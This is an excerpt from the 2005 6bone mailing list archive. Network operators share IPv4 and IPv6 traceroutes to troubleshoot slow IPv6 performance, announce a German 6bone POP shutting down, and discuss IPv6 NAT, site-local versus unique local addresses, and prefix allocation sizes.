2  2001:5c0:8fff:fffe::21c4  143.683 ms  136.765 ms  144.341 ms
3  ipv6.hexago.com  138.949 ms  143.395 ms  142.394 ms
4  sl-bb1v6-nyc-t-23.sprintv6.net  157.376 ms  154.765 ms  144.331 ms
5  sl-bb1v6-sj-t-1001.sprintv6.net  230.125 ms  227.885 ms  230.124 ms
6  2001:478:ffff::9  259.852 ms *  259.036 ms
7  2001:478:ffff::1e  256.406 ms  256.29 ms  248.322 ms
8  3ffe:80a::e  260.125 ms  259.385 ms *
9  bb.v6.pwd.ne.jp  359.722 ms  355.429 ms  377.373 ms
10  bb.v6.pwd.ne.jp  364.614 ms  361.872 ms  356.03 ms
11  pc6.otemachi.wide.ad.jp  407.438 ms  432.639 ms  406.014 ms
12  hitachi1.otemachi.wide.ad.jp  404.192 ms  413.235 ms  412.384 ms
13  pc3.yagami.wide.ad.jp  413.894 ms  410.092 ms  413.917 ms
14  gr2000.k2.wide.ad.jp  415.488 ms  537.124 ms  415.676 ms
15  orange.kame.net  422.456 ms  407.234 ms  415.371 ms





>From: "FRLinux" <frlinux@frlinux.net>
>Reply-To: frlinux@frlinux.net
>To: "Simon Leinen" <simon@limmat.switch.ch>
>CC: 6BONE List <6bone@mailman.isi.edu>
>Subject: Re: [6bone] cisco ipv6 slow perfs
>Date: Wed, 25 May 2005 16:15:45 +0100 (IST)
>
>
>On Wed, May 25, 2005 3:29 pm, Simon Leinen said:
> > No, I would like to see the IPv4 vs. IPv6 traceroutes that you were
> > referring to in your other mail, i.e. those where the IPv4 path with
> > 19 hops gives you better performance than the IPv6 path with 11 hops.
>
>Sure. But just before doing this, I was discussing that off-list and even
>downloading from ftp.heanet.ie (which is only 3 hops from us), i am still
>getting the same problems which now indicate a problem on my router rather
>than routing issues ...
>
>host www.kame.net
>www.kame.net has address 203.178.141.194
>www.kame.net has IPv6 address 2001:200:0:8002:203:47ff:fea5:3085
>
>Tracing the route to orange.kame.net (203.178.141.194)
>   1 mantova-atm3-1-30.bh.access.hea.net (193.1.194.137) 4 msec 0 msec 0 
>msec
>   2 hyperion-gige3-3-0.bh.core.hea.net (193.1.196.121) 0 msec 4 msec 0 
>msec
>   3 deimos-gige5-1.cwt.core.hea.net (193.1.195.129) 4 msec 4 msec 0 msec
>   4 lola-pos0-3-0.nyc.core.hea.net (193.1.196.138) 68 msec 68 msec 76 msec
>   5 abilene-manlan.nyc.peer.hea.net (193.1.196.142) 72 msec 84 msec 76 
>msec
>   6 chinng-nycmng.abilene.ucaid.edu (198.32.8.82) 96 msec 116 msec 96 msec
>   7 iplsng-chinng.abilene.ucaid.edu (198.32.8.77) 116 msec 100 msec 96 
>msec
>   8 kscyng-iplsng.abilene.ucaid.edu (198.32.8.81) 100 msec 100 msec 112 
>msec
>   9 dnvrng-kscyng.abilene.ucaid.edu (198.32.8.13) 120 msec 112 msec 112 
>msec
>  10 snvang-dnvrng.abilene.ucaid.edu (198.32.8.1) 136 msec 140 msec 140 
>msec
>  11 losang-snvang.abilene.ucaid.edu (198.32.8.94) 144 msec 152 msec 148 
>msec
>  12 transpac-local.lsanca.pacificwave.net (207.231.240.136) 148 msec 144
>msec 156 msec
>  13 192.203.116.146 264 msec 264 msec 256 msec
>  14 tpr4-10gi0-1-0.jp.apan.net (203.181.248.109) 280 msec 276 msec 284 
>msec
>  15 203.178.133.142 260 msec 256 msec 260 msec
>  16 ve-51.foundry4.otemachi.wide.ad.jp (203.178.141.141) 256 msec 260 msec
>268 msec
>  17 pc3.yagami.wide.ad.jp (203.178.138.245) 268 msec 260 msec 256 msec
>  18 fe-2-0.hitachi1.k2.wide.ad.jp (203.178.138.218) 268 msec 264 msec 260
>msec
>  19 orange.kame.net (203.178.141.194) 260 msec 260 msec 260 msec
>
>Tracing the route to orange.kame.net (2001:200:0:8002:203:47FF:FEA5:3085)
>   1 mantova-atm3-1-30.bh.access.hea.net (2001:770:8:20::1) 0 msec 0 msec 4
>msec
>   2 hyperion-gige5-3.bh.core.hea.net (2001:770:8:1F::1) 0 msec 4 msec 0 
>msec
>   3 luna-gige0-0-0.kil.core.hea.net (2001:770:90:5::1) 4 msec 0 msec 0 
>msec
>   4 gx-link.core.hea.net (2001:770:90:7::2) 0 msec 4 msec 0 msec
>   5 2001:CC8:102:5::2 156 msec 156 msec 156 msec
>   6 2001:CC8:102:5::2 160 msec 160 msec 156 msec
>   7 2001:CC8:102:5::1 320 msec 320 msec 324 msec
>   8 hitachi1.otemachi.wide.ad.jp (2001:200:0:1800::9C4:2) 268 msec 272
>msec 272 msec
>   9 pc3.yagami.wide.ad.jp (2001:200:0:1C04::1000:2000) 276 msec 272 msec
>268 msec
>  10 gr2000.k2.wide.ad.jp (2001:200:0:4819::2000:1) 272 msec 272 msec 276 
>msec
>  11 orange.kame.net (2001:200:0:8002:203:47FF:FEA5:3085) 276 msec 284 msec
>272 msec
>
>Steph
>--
>Mail sent under Debian GNU/Linux
>http://frlinux.net - Site d'aide a Linux en Francais
>http://frlinux.net/files/frlinux_public_key.asc
>
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>6bone@mailman.isi.edu
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From blahdy@mx01.bos.ma.towardex.com Thu May 26 10:52:06 2005
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Date: Thu, 26 May 2005 13:51:14 -0400
From: James <haesu@towardex.com>
To: dimitry verkholashin <dimitrygv@hotmail.com>
Subject: Re: [6bone] cisco ipv6 slow perfs
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On Wed, May 25, 2005 at 06:17:06PM -0700, dimitry verkholashin wrote:
> here is what I am getting:
> 
> traceroute to www.kame.net (203.178.141.194), 30 hops max, 40 byte packets
> 1  192.168.0.1 (192.168.0.1)  0.505 ms  0.478 ms  0.450 ms
> 2  tukw-dsl-gw11-203.tukw.qwest.net (63.231.10.203)  68.017 ms  56.747 ms  
> 57.869 ms
> 3  tukw-agw1.inet.qwest.net (63.231.10.93)  57.085 ms  64.601 ms  49.734 ms
> 4  tkw-core-01.inet.qwest.net (205.171.11.97)  57.092 ms  56.530 ms  58.112 
> ms

[ snip ]

> 15  orange.kame.net (203.178.141.194)  201.140 ms  187.462 ms  200.269 ms
> 
> 
> traceroute6 to www.kame.net (2001:200:0:8002:203:47ff:fea5:3085) from 
> 2001:5c0:877a::3, 64 hops max, 12 byte packets
> 1  oberon  0.581 ms  0.401 ms  0.342 ms
> 2  2001:5c0:8fff:fffe::21c4  143.683 ms  136.765 ms  144.341 ms
> 3  ipv6.hexago.com  138.949 ms  143.395 ms  142.394 ms

[ snip ]

> 15  orange.kame.net  422.456 ms  407.234 ms  415.371 ms
> 
> 

It would help if you find a tunnelbroker that is more closer to you.  I
have some contacts at west coast area (you seem to be in northwest pacific)
if you want a better tunnel, so let me know off-list.


Here is how it looks from my end:

traceroute to www.kame.net (203.178.141.194), 64 hops max, 40 byte packets
 1  mis.0.ge-0-0-0.r2.bos.twdx.net (65.124.20.193)  0.386 ms  0.175 ms  0.255 ms
 2  2.ge-0-2-0.c1.bos.twdx.net (65.116.132.193)  0.167 ms  0.167 ms  0.178 ms
 3  63.239.36.245 (63.239.36.245)  0.486 ms  0.376 ms  0.483 ms
 4  bos-core-02.inet.qwest.net (205.171.28.57)  0.983 ms  1.111 ms  1.021 ms
 5  jfk-core-01.inet.qwest.net (205.171.8.110)  6.455 ms  6.071 ms  6.933 ms
 6  svl-core-01.inet.qwest.net (205.171.14.121)  74.531 ms  74.511 ms  74.019 ms
 7  tko-core-01.inet.qwest.net (65.120.19.69)  209.122 ms  209.050 ms  209.101 ms
 8  jpx-brdr-01.inet.qwest.net (65.120.19.66)  209.581 ms  209.498 ms  209.615 ms
 9  203.181.102.189 (203.181.102.189)  200.601 ms  200.065 ms  200.072 ms
10  gsr-ote101.kddnet.ad.jp (203.181.96.119)  209.594 ms  209.571 ms  209.113 ms
11  cm-ote128.kddnet.ad.jp (59.128.5.42)  210.934 ms  211.791 ms  211.500 ms
12  210.132.94.78 (210.132.94.78)  210.229 ms  211.098 ms  210.598 ms
13  ve-5.foundry2.otemachi.wide.ad.jp (203.178.140.216)  212.108 ms  212.195 ms  211.997 ms
14  pc3.yagami.wide.ad.jp (203.178.138.245)  195.214 ms  195.398 ms  195.589 ms
15  fe-2-0.hitachi1.k2.wide.ad.jp (203.178.138.218)  197.095 ms  197.137 ms  197.599 ms
16  orange.kame.net (203.178.141.194)  198.081 ms  197.853 ms  198.796 ms

traceroute6 to www.kame.net (2001:200:0:8002:203:47ff:fea5:3085) from 2001:4830:100:20::4, 64 hops max, 12 byte packets
 1  mis.0.ge-0-0-0.r2.bos.twdx.net (2001:4830:100:20::1)  0.193 ms  0.177 ms  0.173 ms
 2  2.ge-0-2-0.c1.bos.twdx.net (2001:4830:1ff:1::1)  0.169 ms  0.121 ms  0.140 ms
 3  245.10ge2-0.cr1.bos1.us.occaid.net (2001:4830:e1::1)  0.328 ms  0.382 ms  0.377 ms
 4  23.ge-0-0.cr1.ord1.us.occaid.net (2001:4830:ff:1300::2)  26.883 ms  26.882 ms  26.996 ms
 5  57.fe-0-0.cr1.mci1.us.occaid.net (2001:4830:ff:1753::1)  38.509 ms  38.927 ms  38.483 ms
 6  6.fe-0-0.cr1.sfo2.us.occaid.net (2001:4830:ff:1750::2)  74.013 ms  74.284 ms  74.538 ms
 7  sf-guest.r2.sfo2.isc.org (2001:4f8:4:b:290:6900:b30:541f)  74.528 ms  74.959 ms  74.008 ms
 8  2001:4f8:4:236::10 (2001:4f8:4:236::10)  127.545 ms  96.051 ms  95.544 ms
 9  hitachi1.otemachi.wide.ad.jp (2001:200:0:4401::3)  205.132 ms  204.936 ms  205.086 ms
10  pc3.yagami.wide.ad.jp (2001:200:0:1c04::1000:2000)  205.120 ms  205.395 ms  205.600 ms
11  gr2000.k2.wide.ad.jp (2001:200:0:4819::2000:1)  206.600 ms  206.829 ms  207.116 ms
12  orange.kame.net (2001:200:0:8002:203:47ff:fea5:3085)  207.118 ms  206.508 ms  207.115 ms


-- 
James Jun
Infrastructure and Technology Services
TowardEX Technologies
Office +1-617-459-4051 x179 | Mobile +1-978-394-2867
james@towardex.com | www.towardex.com

From mrp@mrp.net Fri May 27 19:21:11 2005
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Subject: Re: [6bone] cisco ipv6 slow perfs
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As tracerouting to kame seems flavour of the month :) here's my view...

traceroute to www.kame.net (203.178.141.194), 30 hops max, 38 byte packets
  1  gigabitethernet0-2.er2.aarnet.cpe.aarnet.net.au (202.158.193.30) 
0.390 ms  0.380 ms  1.071 ms
  2  gigether0-2-3.bb1.a.adl.aarnet.net.au (202.158.199.1)  18.693 ms 
12.718 ms  19.560 ms
  3  pos0-1-0.bb1.a.mel.aarnet.net.au (202.158.194.18)  27.824 ms 
28.088 ms  35.446 ms
  4  pos0-1-0.bb1.b.syd.aarnet.net.au (202.158.194.34)  39.306 ms 
39.132 ms  39.051 ms
  5  gigabitethernet3-0.bb3.a.syd.aarnet.net.au (202.158.194.114) 
21.461 ms  21.435 ms  21.276 ms
  6  pos2-0.bb1.a.suv.aarnet.net.au (202.158.194.82)  57.685 ms  57.656 
ms  57.542 ms
  7  pos1-0.bb1.b.hnl.aarnet.net.au (202.158.194.86)  116.910 ms 
116.985 ms  116.902 ms
  8  202.158.204.254 (202.158.204.254)  117.850 ms  117.614 ms  117.761 ms
  9  tppr-pos5-0.jp.apan.net (203.181.248.174)  195.347 ms  195.308 ms 
195.294 ms
10  tpr4-10gi2-1-0-7.jp.apan.net (203.181.249.19)  214.202 ms  211.314 
ms  214.558 ms
11  wide.t-lex.net (203.178.133.142)  195.461 ms  195.988 ms  195.539 ms
12  ve-51.foundry4.otemachi.wide.ad.jp (203.178.141.141)  195.565 ms 
195.886 ms  195.567 ms
13  pc3.yagami.wide.ad.jp (203.178.138.245)  196.319 ms  196.417 ms 
196.420 ms
14  fe-2-0.hitachi1.k2.wide.ad.jp (203.178.138.218)  199.091 ms  197.828 
ms  198.174 ms
15  orange.kame.net (203.178.141.194)  197.440 ms  197.368 ms  196.950 ms

and

traceroute to www.kame.net (2001:200:0:8002:203:47ff:fea5:3085) from 
2001:388:4000:4002:204:23ff:fea9:6440, 30 hops max, 16 byte packets
  1  gigabitethernet0-2.er2.aarnet.cpe.aarnet.net.au 
(2001:388:4000:4002:20f:23ff:fea3:ec00)  0.405 ms  0.385 ms  0.229 ms
  2  gigether0-2-3.bb1.a.adl.aarnet.net.au 
(2001:388:1:2003:204:e0ff:fe00:1023)  19.659 ms  19.182 ms  19.063 ms
  3  pos0-1-0.bb1.a.mel.aarnet.net.au (2001:388:1:6::2)  24.934 ms 
29.98 ms  22.81 ms
  4  pos0-1-0.bb1.b.syd.aarnet.net.au (2001:388:1:a::2)  35.454 ms 
39.694 ms  39.522 ms
  5  gigabitethernet3-0.bb3.a.syd.aarnet.net.au 
(2001:388:1:1d:205:ddff:feff:2c54)  21.438 ms  21.312 ms  21.311 ms
  6  pos2-0.bb1.a.suv.aarnet.net.au (2001:388:1:16:212:43ff:fe40:6200) 
57.66 ms  57.68 ms  57.652 ms
  7  pos1-0.bb1.b.hnl.aarnet.net.au (2001:388:1:17:205:ddff:fe6d:2008) 
116.984 ms  117.134 ms  116.88 ms
  8  2001:388:1:c803:290:6900:c8ed:e49d 
(2001:388:1:c803:290:6900:c8ed:e49d)  117.843 ms * *
  9  3ffe:8140:101:d::4 (3ffe:8140:101:d::4)  195.811 ms *  195.915 ms
10  3ffe:8140:101:6::3 (3ffe:8140:101:6::3)  252.64 ms  252.73 ms 
252.302 ms
11  hitachi1.otemachi.wide.ad.jp (2001:200:0:1800::9c4:2)  236.924 ms 
236.923 ms  237.039 ms
12  pc3.yagami.wide.ad.jp (2001:200:0:1c04::1000:2000)  237.385 ms 
237.371 ms  237.55 ms
13  gr2000.k2.wide.ad.jp (2001:200:0:4819::2000:1)  239.216 ms  239.232 
ms  238.918 ms
14  orange.kame.net (2001:200:0:8002:203:47ff:fea5:3085)  238.63 ms 
238.875 ms  238.556 ms

Clearly I need to fix the DNS for hop 8 in both cases :)

Mark.

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Subject: Re: [6bone] cisco ipv6 slow perfs
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Actually, my IPv6 traceroute is faster than IPv4.

I guess you have noticed the ~80ms 6bone-gain in some of the severe
traceroutes before.

YTC

-----
$ traceroute www.kame.net
traceroute to www.kame.net (203.178.141.194), 30 hops max, 38 byte
packets
 1  C65RWERK-RZMITAR.UNI-MUENSTER.DE (128.176.184.96)  0.262 ms  0.212
ms  0.198 ms
 2  C65UNIB-C65RWERK.UNI-MUENSTER.DE (192.168.19.33)  0.382 ms  0.449 ms
0.966 ms
 3  C65RISPB-UNIB.UNI-MUENSTER.DE (192.168.16.97)  0.666 ms  0.502 ms
0.704 ms
 4  C65RISPA-ISPB.UNI-MUENSTER.DE (192.168.16.1)  0.810 ms  0.635 ms
0.559 ms
 5  ar-essen4-ge0-1-201.g-win.dfn.de (188.1.44.41)  1.653 ms  1.570 ms
1.644 ms
 6  cr-essen1-ge4-0.g-win.dfn.de (188.1.86.1)  1.750 ms  1.818 ms  1.599
ms
 7  cr-leipzig1-po11-0.g-win.dfn.de (188.1.18.106)  28.908 ms  11.994 ms
11.868 ms
 8  cr-frankfurt1-po10-0.g-win.dfn.de (188.1.18.189)  20.877 ms  18.035
ms  35.506 ms
 9  dfn.de1.de.geant.net (62.40.105.1)  18.232 ms  19.849 ms  25.854 ms
10  de1-2.de2.de.geant.net (62.40.96.53)  18.493 ms  18.286 ms  18.535
ms
11  abilene-gw.de2.de.geant.net (62.40.103.254)  111.948 ms  112.055 ms
112.028 ms
12  atlang-washng.abilene.ucaid.edu (198.32.8.65)  127.741 ms  127.998
ms  127.828 ms
13  hstnng-atlang.abilene.ucaid.edu (198.32.8.33)  151.793 ms  152.141
ms  152.108 ms
14  losang-hstnng.abilene.ucaid.edu (198.32.8.21)  181.499 ms  181.514
ms  182.415 ms
15  transpac-local.lsanca.pacificwave.net (207.231.240.136)  181.668 ms
181.499 ms  181.544 ms
16  192.203.116.146 (192.203.116.146)  294.986 ms  294.901 ms  294.837
ms
17  tpr3-ae0-6.jp.apan.net (203.181.249.98)  295.020 ms  295.040 ms
295.147 ms
18  wide-ge-tpr3.jp.apan.net (203.181.249.41)  295.218 ms  295.335 ms
295.359 ms
19  pc3.yagami.wide.ad.jp (203.178.138.245)  295.817 ms  296.104 ms
295.826 ms
20  fe-2-0.hitachi1.k2.wide.ad.jp (203.178.138.218)  297.915 ms  297.830
ms  298.039 ms
21  orange.kame.net (203.178.141.194)  297.049 ms  296.992 ms  296.888
ms


$ traceroute6 www.kame.net
traceroute to www.kame.net (2001:200:0:8002:203:47ff:fea5:3085) from
2001:638:500:132:204:75ff:fe82:e0ca, 30 hops max, 16 byte packets
 1  join6win.ipv6.uni-muenster.de (2001:638:500:132:208:e2ff:fe0e:2008)
0.29 ms  0.232 ms  0.327 ms
 2  nr-ess1.6win.dfn.de (2001:638:f:500::500:1)  2.549 ms  2.79 ms
2.234 ms
 3  nr-fra1.6win.dfn.de (2001:638:f:500::1:2)  12.261 ms  12.069 ms
12.14 ms
 4  ip-0-3-0-204-r1-IPv6.de.cw.net (2001:5001:100:6::1)  19.577 ms
19.044 ms  19.21 ms
 5  so-0-1-1-zcr2.muc.cw.net (2001:5000:0:2::1)  19.111 ms  19.283 ms
19.239 ms
 6  as0-bcr2.fra.cw.net (2001:5000:0:5::1)  25.208 ms  25.225 ms  25.438
ms
 7  so-1-3-0-dcr1.fra.cw.net (2001:5000:0:8::2)  25.148 ms  25.071 ms
25.328 ms
 8  so-4-0-0-dcr1.par.cw.net (2001:5000:0:9::2)  33.61 ms  34.06 ms
33.716 ms
 9  so-0-0-0-dcr1.was.cw.net (2001:5000:0:c::2)  114.82 ms  114.004 ms
114.138 ms
10  so-0-0-0-ecr1.was.cw.net (2001:5000:0:52::2)  114.139 ms  114.289 ms
113.978 ms
11  so-0-0-0-ecr1.lax.cw.net (2001:5000:0:53::2)  169.319 ms  174.752 ms
169.408 ms
12  2001:504:a::a500:2500:1 (2001:504:a::a500:2500:1)  169.734 ms
169.159 ms  169.268 ms
13  hitachi1.otemachi.wide.ad.jp (2001:200:0:4401::3)  278.923 ms
278.616 ms  278.742 ms
14  pc3.yagami.wide.ad.jp (2001:200:0:1c04::1000:2000)  279.32 ms
279.608 ms  280.838 ms
15  gr2000.k2.wide.ad.jp (2001:200:0:4819::2000:1)  280.978 ms  280.943
ms  280.969 ms
16  orange.kame.net (2001:200:0:8002:203:47ff:fea5:3085)  280.328 ms
280.684 ms  280.793 ms
-----


-- 
JOIN - IPv6 reference center    Christian Schild
A WWU project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
Team: join@uni-muenster.de      Roentgenstrasse 9-13
Priv: schild@uni-muenster.de    D-48149 Muenster / Germany
GPG-/PGP-Key-ID: 6EBFA081       Fon: +49 251 83 31638, fax: +49 251 83 31653


From ple@graduate.kmitl.ac.th Wed Jun  1 20:10:00 2005
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unscribe

-- 
Warodom



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Hello from Gregg C Levine
Hmm? You actually want to leave us? Please examine the signature
supplied by the list for doing that.
--------
Gregg C Levine hansolofalcon@worldnet.att.net
---
"Remember the Force will be with you... Always." Obi-Wan Kenobi 

> -----Original Message-----
> From: 6bone-bounces@mailman.isi.edu
[mailto:6bone-bounces@mailman.isi.edu]
> On Behalf Of Warodom Werapun
> Sent: Wednesday, June 01, 2005 11:09 PM
> To: 6Bone
> Subject: [6bone] unscribe
> 
> unscribe
> 
> --
> Warodom
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From old_mc_donald@hotmail.com Thu Jun  2 04:48:01 2005
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Well , I guess the list has been a bit quiet of late.

Why do you think this is, has the list fulfilled it's usefulness
now that there are no new allocations to be given out?

It was (is) a very useful list in terms of help required for 
the setting up of new allocations, now that this is no longer
the case, is there another reason why the 6bone list still
exists?

Can this list be transformed into another list more useful?

Gav...


| Hello from Gregg C Levine
| Hmm? You actually want to leave us? Please examine the signature
| supplied by the list for doing that.
| --------
| Gregg C Levine hansolofalcon@worldnet.att.net
| ---
| "Remember the Force will be with you... Always." Obi-Wan Kenobi 
| 
| > -----Original Message-----
| > From: 6bone-bounces@mailman.isi.edu
| [mailto:6bone-bounces@mailman.isi.edu]
| > On Behalf Of Warodom Werapun
| > Sent: Wednesday, June 01, 2005 11:09 PM
| > To: 6Bone
| > Subject: [6bone] unscribe
| > 
| > unscribe
| > 
| > --
| > Warodom
| > 
| > 
| > _______________________________________________
| > 6bone mailing list
| > 6bone@mailman.isi.edu
| > http://mailman.isi.edu/mailman/listinfo/6bone
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From mohacsi@niif.hu Thu Jun  2 06:08:14 2005
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On Thu, 2 Jun 2005, Gav wrote:

> Well , I guess the list has been a bit quiet of late.
>
> Why do you think this is, has the list fulfilled it's usefulness
> now that there are no new allocations to be given out?
>
> It was (is) a very useful list in terms of help required for
> the setting up of new allocations, now that this is no longer
> the case, is there another reason why the 6bone list still
> exists?
>
> Can this list be transformed into another list more useful?


I think there can be some issues of 6bone allocations (hijack of address 
space, ghost routes or other operational issues)  that can be discussed on 
the 6bone mailing lists. I think if you are interested in some other 
mailing lists exists:

IPv6 users: http://www.ipv6.org/mailing-lists.html
Forum of IPv6 network operators: 
http://lists.cluenet.de/mailman/listinfo/ipv6-ops

Regards,
 	Janos Mohacsi

>
> Gav...
>
>
> | Hello from Gregg C Levine
> | Hmm? You actually want to leave us? Please examine the signature
> | supplied by the list for doing that.
> | --------
> | Gregg C Levine hansolofalcon@worldnet.att.net
> | ---
> | "Remember the Force will be with you... Always." Obi-Wan Kenobi
> |
> | > -----Original Message-----
> | > From: 6bone-bounces@mailman.isi.edu
> | [mailto:6bone-bounces@mailman.isi.edu]
> | > On Behalf Of Warodom Werapun
> | > Sent: Wednesday, June 01, 2005 11:09 PM
> | > To: 6Bone
> | > Subject: [6bone] unscribe
> | >
> | > unscribe
> | >
> | > --
> | > Warodom
> | >
> | >
> | > _______________________________________________
> | > 6bone mailing list
> | > 6bone@mailman.isi.edu
> | > http://mailman.isi.edu/mailman/listinfo/6bone
> |
> | _______________________________________________
> | 6bone mailing list
> | 6bone@mailman.isi.edu
> | http://mailman.isi.edu/mailman/listinfo/6bone
> |
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

From join@uni-muenster.de Tue Jun  7 00:11:15 2005
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Subject: [6bone] AS1275 / 3ffe:400::/24 going offline
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Dear all,

today on 07.06.05, after nearly ten years of service, we disabled the
6bone POP in Germany. 

The JOIN project will fall apart in a few weeks and we decided to stop
this service in time and way before the final end of 6bone. 

While we still had about >60 users at the end, we believe that there is
little need for a 6bone POP. Luckily, todays production network is 
quite sophisticated and much much more reliable than 6bone. The 6bone 
is rather harmful for the acceptance of IPv6. as it _is_ a test network
and global IPv6 routing often happens in the production _and_ the 6bone
network at the same time. So we believe it is a good thing to remove
6bone as fast as possible to make IPv6 routing more robust and to give
IPv6 a more positive perception. 


All, if you still peer with AS1275, please de-configure that peering. 

All, prefix 3ffe:400::/24 should vanish from the global routing table.
If not, feel free to filter it. 

So long,
     Christian

-- 
JOIN - IPv6 reference center    Christian Schild
A WWU project                   Westfaelische Wilhelms-Universitaet Muenster
http://www.join.uni-muenster.de Zentrum fuer Informationsverarbeitung
Team: join@uni-muenster.de      Roentgenstrasse 9-13
Priv: schild@uni-muenster.de    D-48149 Muenster / Germany
GPG-/PGP-Key-ID: 6EBFA081       Fon: +49 251 83 31638, fax: +49 251 83 31653


From Michael.Sturtz@PACCAR.com Fri Jun 10 18:41:29 2005
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I understand that the RFC 1918 address equivalent IPv6 addresses are
called "Site-local" addresses and are FEC0::/48.  I do not see any
provision in the IPV6 standards for the equivalent of NAT.  Is it safe
to assume that if you only have a FEC0::/48 address space you cannot
address other IPv6 hosts on the general internet?  With IPv4 you can use
NAT / PAT to translate a single valid IPv4 address into an entire
internal network space.  I don't see this as an option in IPv6 is this
correct?  Thanks,
Michael Sturtz


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From: Ken Raeburn <raeburn@MIT.EDU>
Subject: Re: [6bone] Network Address translation question
Date: Fri, 10 Jun 2005 22:16:19 -0400
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On Jun 10, 2005, at 21:40, Michael Sturtz wrote:
> I understand that the RFC 1918 address equivalent IPv6 addresses are
> called "Site-local" addresses and are FEC0::/48.

That was the original plan.  After various objections to them, 
site-local addresses are on their way out, though I think a better 
solution to the problem is in the works.

> I do not see any
> provision in the IPV6 standards for the equivalent of NAT.  Is it safe
> to assume that if you only have a FEC0::/48 address space you cannot
> address other IPv6 hosts on the general internet?  With IPv4 you can 
> use
> NAT / PAT to translate a single valid IPv4 address into an entire
> internal network space.  I don't see this as an option in IPv6 is this
> correct?  Thanks,
> Michael Sturtz

<insert "NAT is evil" rant here>

I think the general plan was that if you're giving out addresses, 
usually you should give out at least a /64, which will let the customer 
connect a bunch of devices (and/or use the autoconfiguration privacy 
extensions, etc).  Will the ISPs do it that way for cable/dialup 
customers?  I don't know.  No ISP near me is doing IPv6 now, you could 
probably find out in archives of other lists I don't read...

If you do have an IPv4 address handy to use, though, you might look 
into the 6to4 transition mechanism.  Given an IPv4 address 1.2.3.4, you 
get 2002:0102:0304::/48 to play around with.  Some sites may not be 
able to route back to you, though.

Ken


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From: Ken Raeburn <raeburn@MIT.EDU>
Subject: Re: [6bone] Network Address translation question
Date: Sat, 11 Jun 2005 01:24:29 -0400
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On Jun 10, 2005, at 23:06, Antonio Querubin wrote:
> On Fri, 10 Jun 2005, Ken Raeburn wrote:
>
>> I think the general plan was that if you're giving out addresses,
>> usually you should give out at least a /64, which will let the 
>> customer
>
> Actually the IAB/IESG general recommendation is to give out a /48.  See
> RFC 3177.  Doesn't make sense to give out anything smaller since you 
> can
> get at least that much using 6to4.

Was it?  I must've remembered wrong, I thought cable providers etc were 
likely to give the /64s.  Thanks for the correction.

Ken


From jordi.palet@consulintel.es Fri Jun 10 23:32:24 2005
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Date: Sat, 11 Jun 2005 08:31:41 +0200
Subject: Re: [6bone] Network Address translation question
From: JORDI PALET MARTINEZ <jordi.palet@consulintel.es>
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This may be useful for the /48 thing:
http://www.ipv6tf.org/news/newsroom.php?id=604

For the NAT with IPv6:
ftp://ftp.rfc-editor.org/in-notes/internet-drafts/draft-ietf-v6ops-nap-00.tx
t

Regards,
Jordi




> De: Ken Raeburn <raeburn@MIT.EDU>
> Responder a: <6bone-bounces@mailman.isi.edu>
> Fecha: Sat, 11 Jun 2005 01:24:29 -0400
> Para: Antonio Querubin <tony@aloha.net>
> CC: Michael Sturtz <Michael.Sturtz@PACCAR.com>, "6bone@mailman.isi.edu"
> <6bone@mailman.isi.edu>
> Asunto: Re: [6bone] Network Address translation question
> 
> On Jun 10, 2005, at 23:06, Antonio Querubin wrote:
>> On Fri, 10 Jun 2005, Ken Raeburn wrote:
>> 
>>> I think the general plan was that if you're giving out addresses,
>>> usually you should give out at least a /64, which will let the
>>> customer
>> 
>> Actually the IAB/IESG general recommendation is to give out a /48.  See
>> RFC 3177.  Doesn't make sense to give out anything smaller since you
>> can
>> get at least that much using 6to4.
> 
> Was it?  I must've remembered wrong, I thought cable providers etc were
> likely to give the /64s.  Thanks for the correction.
> 
> Ken
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone




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From mohacsi@niif.hu Mon Jun 13 01:09:29 2005
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On Fri, 10 Jun 2005, Michael Sturtz wrote:

> I understand that the RFC 1918 address equivalent IPv6 addresses are
> called "Site-local" addresses and are FEC0::/48.

The site-local address was deprecated because of unclear notion of what is 
site. A new type local address can be used: ULA -
Unique Local Addresses - 
http://www.ietf.org/internet-drafts/draft-ietf-ipv6-unique-local-addr-09.txt



> I do not see any
> provision in the IPV6 standards for the equivalent of NAT.  Is it safe
> to assume that if you only have a FEC0::/48 address space you cannot
> address other IPv6 hosts on the general internet?  With IPv4 you can use
> NAT / PAT to translate a single valid IPv4 address into an entire
> internal network space.  I don't see this as an option in IPv6 is this
> correct?

Why do you need this? What purpose? Take a look at the Network 
Architecture protection draft at:
http://www.ietf.org/internet-drafts/draft-ietf-v6ops-nap-00.txt


Regards,

Janos Mohacsi
Network Engineer
NIIF/HUNGARNET


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On Mon, Jun 13, 2005 at 10:08:37AM +0200, Mohacsi Janos wrote:
> 
> The site-local address was deprecated because of unclear notion of what is 
> site. A new type local address can be used: ULA -
> Unique Local Addresses - 
> http://www.ietf.org/internet-drafts/draft-ietf-ipv6-unique-local-addr-09.txt

Well, more to do with the ambiguity of the addresses (non-uniqueness).
The two new ULA drafts offer menthods to guarantee or near guarantee that
property.   They don't resolve the address leakage issue though.
 
> Why do you need this? What purpose? Take a look at the Network 
> Architecture protection draft at:
> http://www.ietf.org/internet-drafts/draft-ietf-v6ops-nap-00.txt

With IPv6, you can run ULAs and globals side by side, if you wish, though
this hasn't exactly been widely tested as yet, as far as I'm aware.

-- 
Tim/::1



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On 13-jun-2005, at 11:09, Tim Chown wrote:

> With IPv6, you can run ULAs and globals side by side, if you wish,  
> though
> this hasn't exactly been widely tested as yet, as far as I'm aware.

The trouble is that there is no clear way to force the use of  
internal addresses for internal stuff and external addresses for  
external stuff.

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On Mon, Jun 13, 2005 at 11:47:24AM +0200, Iljitsch van Beijnum wrote:
> On 13-jun-2005, at 11:09, Tim Chown wrote:
> 
> >With IPv6, you can run ULAs and globals side by side, if you wish,  
> >though
> >this hasn't exactly been widely tested as yet, as far as I'm aware.
> 
> The trouble is that there is no clear way to force the use of  
> internal addresses for internal stuff and external addresses for  
> external stuff.

Well, unless you trust address selection to use ULAs for internal comms
and globals for external comms.   But it can't be forced, I agree, and
the two-faced DNS isn't pleasant.

-- 
Tim/::1



